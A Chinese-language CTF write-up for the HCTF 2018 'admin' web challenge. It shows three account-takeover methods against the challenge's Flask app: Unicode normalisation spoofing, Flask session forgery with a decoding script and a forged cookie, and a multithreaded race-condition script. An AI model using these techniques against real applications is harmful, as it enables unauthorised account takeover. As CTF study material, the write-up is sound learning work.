[HCTF 2018]admin

0x00 前言

做这道题的时候,我是通过弱口令来获取flag的。看了其他人的做法后决定都试一下,毕竟仅是通过弱口令也学不到什么。
主要有以下三种解法:

  • unicode欺骗
  • flask session 伪造
  • 条件竞争

0x01 信息收集

拿到一个网站最重要的当然是收集信息,收集到的信息决定了渗透的方向。
我在这个网站收集到了如下信息:

  • 存在的页面有login register posts(404) index change(修改密码)
  • 在change页面的源代码中发现了网站的源代码地址如下

0x02 unicode欺骗

下载源代码进行代码审计,首先对routes.py进行审计如下



发现注册和登录以及修改密码处只是对数据进行了小写化,而且奇怪的是小写化函数用的不是python自带的,而是自己封装的,直觉告诉我这里存在问题。
于是看一下这个函数是如何封装的 如下

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
## 包引入头

nodeprep.prepare这个方法是将大写字母转换成小写字母,但是它存在一个问题:
它会将unicode编码的ᴬ转化成A

unicode参考表:https://unicode-table.com/en/search/?q=Modifier+Letter+Capital

通过代码审计我们知道login register change处都是使用的strlower()函数,都会使用到nodeprep.prepare函数。
这时我们打理一下思绪,我们只要获得admin用户的登录权限即可,login register change三处都使用了strlower()函数,
也许我们可以通过nodeprep.prepare函数的这一特性来达到更改admin用户的密码,那我们怎么来做?
首先我们可以注册一个ᴬdmin用户,注册成功后其实后端保存的账号为Admin,然后我们在更改密码,因为strlower()可以将大写字母小写化,所以我们更改的是admin的密码

ᴬdmin--->Admin--->admin

接下来我们先注册一个ᴬdmin账号

登录该账号

主页面如下,可以看到显示的账户为Admin

接下来我们修改一下密码,把密码修改为test

可以看到修改成功

登录admin用户后,看到如下

0x03 flask session 伪造

看到源代码,可以知道这个web使用的flask框架写的,flask存在一个session伪造漏洞。

flask的session保存在客户端,一般只是加了签名来防止被截取修改,但是如果没有加密我们就可以对session进行解码来获取其中的用户数据。
如果我们在获取到签名的秘钥,就可以按照解码出来的数据进行伪造,重新生成签名的session来达到欺骗服务端。

flask的session使用base64对bytes类型的用户数据进行编码,而且编码之前可能进行了压缩(session以 "." 开头时表示进行了压缩)
flask 保存在cookie里面的session一般格式为  data.timestamp.signature
## 客户端session安全学习:https://www.leavesongs.com/PENETRATION/client-session-security.html#

通过代码审计我们可以知道,没有对session进行加密,而且在config.py中得到了签名秘钥

这说明我们可以进行session伪造,但是如何才能获得flag那,代码审计过程中在index.html中还发现

只要在index界面里让session['name']的值为admin就可以获得flag。
我们先获取index界面的session

.eJxFkEGPgjAQhf_KZs4cAOPFxIOkSCSZIUsKTXsx6iKlUjcBjFrjf99qNruHucyb-ebNe8D2ODSjhsU0XJoAtt0XLB7wsYcFEEuviq3miq_uZOVM8tQpVlsZvyo_kd1ElFURsV4j3zjKSiNNGpGjk7R5j6LuJU-04klPTJkiUwbZIca47pBX84LjrWBkUXiOKI0yuve7WprVjeznrOBl5z3cMVvrQpQWXemZaYgu0cQT42-HiuPVzy7hGcBhHI7b6fvUnP9ekELOpVgb4q1Dl3do2kiJ1KGRM48OyVAvba0pzi29elzG1C7fuM7u2uY_jJo21a9y3lkvwNSMEwRwGZvhHRtEITx_AFRzbBo.X0c0OQ.4qb0LysG2sqb3NHTApcnuwpAULw

然后我们用如下python脚本对他进行解码:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

{'_fresh': True, '_id': b'410d09e026f7a13d5fcefcbd6b54e549a1234dcb1573dbbe1eea0ae0e46c8fc0763eb15993183f1b55dcf8e73ab016d794b4120aa9df34e1a430a50c4e4e306d', 'csrf_token': b'af9aac58332b285ea326741463ebea7bf6675666', 'image': b'5SHR', 'name': 'test', 'user_id': '10'}

将得到的数据中的test替换成admin,然后重新进行签名(使用的脚本地址:https://github.com/noraj/flask-session-cookie-manager)

.eJxFkEGLwkAMhf_KkrOHtuJF8GCZWiwkZcvYIXMRV2unY8eFqqgj_vcdZdk95JKXfHl5D1jvh-ZkYHoeLs0I1t0Opg_4-IIpkMiuWswnWs7v5HjMMvNa1I6TVxUHcsuY8lVMojcol57yyrLNYvJ0YFf0qOqeZWq0THsS2pa5tii2CSZ1h3I1KSXeSkEOVeCoympr-rBr2M5v5D7Hpay64OGO-cKUqnLoq8DMIvSpIZnacDvSEq9hdgbPEWxPw359_j40x78XWPGE1cKSbD36okPbxlplHi2PAzoiSz272lBSOHr1JCfUzt64zm3a5j-MmparX-W4cUGAzc51RxjB5dQM79wgjuD5A8BwbGM.X0c24g.yUFbBmBBsRINcJJ0r0SvkWfPh4A

替换session,刷新后得到

0x04 条件竞争



修改密码只是从session里面取name的值就可以进行修改,如果让这个name值为admin则可以达到修改admin账户的效果。
登录用户的时候没有进行验证便直接把用户名赋值给了session的name,所以当我们在修改密码的同时登录admin用户,从理论上来讲是可以实现修改admin账户的。
可以通过python写一个双线程脚本,一个线程登录测试账户修改密码,一个线程退出测试账户登录admin(这里登录指的只是用户名为admin密码不正确)
由于BUUCTF限制流量,所以我没有测试此方法,只是看了大佬写的脚本 如下

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://admin.2018.hctf.io/login", data=data)

def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://admin.2018.hctf.io/change", data=data)

def func1(s):
    login(s, 'skysec', 'skysec')
    change(s, 'skysec')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'skysec')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()

0x05 参考

https://www.anquanke.com/post/id/164086
http://sunsec.top/2018/11/15/HCTF admin/
posted @ 2020-08-27 15:07  she11s  阅读(473)  评论(0编辑  收藏  举报